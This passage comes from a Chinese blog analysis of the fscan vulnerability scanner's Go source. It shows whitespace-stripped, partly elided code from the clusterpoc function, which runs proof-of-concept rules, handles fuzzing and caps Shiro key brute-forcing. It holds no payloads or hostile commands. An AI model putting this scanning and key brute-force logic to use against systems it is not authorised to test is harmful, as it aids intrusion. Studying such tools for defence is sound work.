funcclusterpoc(oReq*http.Request,p*Poc,variableMapmap[string]interface{},req*Request,env*cel.Env)(successbool,errerror){.......fori,rule:=rangep.Rules{if!isFuzz(rule,p.Sets){success,err=clustersend(oReq,variableMap,req,env,rule)iferr!=nil{returnfalse,err}ifsuccess{continue}else{returnfalse,err}}......}returnsuccess,nil}
需要fuzz
接下来开始分析需要fuzz的情况。
回到clusterpoc中。
funcclusterpoc(oReq*http.Request,p*Poc,variableMapmap[string]interface{},req*Request,env*cel.Env)(successbool,errerror){......fori,rule:=rangep.Rules{if!isFuzz(rule,p.Sets){......}setsMap:=Combo(p.Sets)ruleHash:=make(map[string]struct{})look:forj,item:=rangesetsMap{//shiro默认只跑10keyifp.Name=="poc-yaml-shiro-key"&&!common.PocFull&&j>=10{ifitem[1]=="cbc"{continue}else{iftmpnum==0{tmpnum=j.........
原文始发于微信公众号(BlueIris):文章 - 量大管饱的Fscan源码详细分析 - 先知社区
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论